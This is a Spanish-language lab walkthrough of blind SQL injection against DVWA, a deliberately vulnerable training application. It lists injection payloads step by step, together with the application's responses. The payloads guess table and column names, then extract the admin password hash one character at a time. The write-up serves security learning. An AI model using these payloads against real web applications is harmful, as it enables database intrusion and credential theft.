Creo que en esta version de dvwa 1.0.7 no es a ciegas, pues sigue dandonos información en la pagina, así que nada que decir aqui en esta sección, salvo que en la version de DVWA 1.9 si es a ciega y alli intento sacar información..., asi que no es para la 1.0.7 sino para la 1.9
Comenzamos probarmos con
1
"User ID exists in the database."
1'
"User ID is MISSING from the database."
asi que probemos hasta que nos resulte "User ID exists in the database."
1' and 1=1
"User ID is MISSING from the database."
hay que comprobar cual es el caracter comentarios...
probamos todos, -- // /* --+ y # este ultimo es el que sabemos nos funciona en dvwa
1' and 1=1#
"User ID exists in the database."
Esto es lo que buscamos de ahora en adelante para verificar la información correcta. Ahora comenzamos buscando el nombre de las tablas, en modo adivinación...
1' and (select count(*) from usuarios)#
"User ID is MISSING from the database."
luego no existe esa tabla, veamos otra que sabemos está
1' and (select count(*) from users)#
"User ID exists in the database."
OK, dimos con el nombre de una tabla, así hasta encontrar las que nos pueda interesar. A continuación vemos el numero de registros de la tabla users, no es que sea muy necesario, pero se presta para entender después la búsqueda del nombre de la columna
1' and (select count(*) from users) > 1 #
"User ID exists in the database."
1' and (select count(*) from users) > 2 #
"User ID exists in the database."
1' and (select count(*) from users) > 3 #
"User ID exists in the database."
1' and (select count(*) from users) > 4 #
"User ID exists in the database."
1' and (select count(*) from users) > 5 #
"User ID is MISSING from the database."
Esto significa que al no ser mayor de 5 es 5!!!
Vale de poco saberlo, pero igual si...(si hay un campo id o user_id puede interesarnos)
Seguimos ahora averiguando el nombre de cada columna, es juego de adivinar tambien...
1' and(select count(nombre) from users) #
"User ID is MISSING from the database."
buscamos hasta encontrar los interesantes (en el caso de dvwa son user, password y user_id, este último es de lo mas interesante para las siguientes consultas)
1' and(select count(user) from users) #
"User ID exists in the database."
Nos interesa conocer el nombre y password del usuario con id=1 que es el que estamos cotejando, asi que como sabemos que la base de datos, la columna es user_id, debemos saber cual es la longitud en caracteres de cada uno, para lo que hacemos:
1' and (select length(password) from users where user_id=1) > 20 #
"User ID exists in the database."
1' and (select length(password) from users where user_id=1) > 30 #
"User ID exists in the database."
1' and (select length(password) from users where user_id=1) > 35 #
"User ID is MISSING from the database."
1' and (select length(password) from users where user_id=1) = 32 #
"User ID exists in the database."
Hemos acertado, es igual a 32 caracteres.
lo mismo debemos hacer con el dato de user, pues ahora viene lo mas tedioso y laaaaaargo en el tiempo....
buscamos cada letra del password desde el 48 al 57 (0-9) y del ... bueno, las letras en minúsculas, el caso es que hay que ir probando hasta encontra la primera, y eso porque sabemos que la clave está codificada y solo tiene letras y numeros, sino hay que ampliar la búsqueda.
1' and ascii(substring((SELECT password FROM users where user_id=1),1,1))=48#
"User ID is MISSING from the database."
1' and ascii(substring((SELECT password FROM users where user_id=1),1,1))=49#
"User ID is MISSING from the database."
1' and ascii(substring((SELECT password FROM users where user_id=1),1,1))=50#
"User ID is MISSING from the database."
1' and ascii(substring((SELECT password FROM users where user_id=1),1,1))=53#
User ID exists in the database.
Averiguamos que es el caracter "5", en ascci 53 segimos para la búsqueda del siguiente caracter en la posición 2
1' and ascii(substring((SELECT password FROM users where user_id=1),2,1))=100#
"User ID is MISSING from the database."
1' and ascii(substring((SELECT password FROM users where user_id=1),2,1))=101#
"User ID is MISSING from the database."
1' and ascii(substring((SELECT password FROM users where user_id=1),2,1))=102#
User ID exists in the database.
Averiguamos que es el caracter "f", en ascci 102
Ir cambiando el numero en azul para las posiciones del caracter y así ir buscando los 32 caracteres que se compone el password, y pensar que también hay que buscar el user pues solo con el password no hacemos nada.
¿Quien se va a entreter en esto cuando hay herramientas, como sqlmap, que lo sacan sin esfuerzo por nuestra parte? ;) y hasta aquí hemos llegado....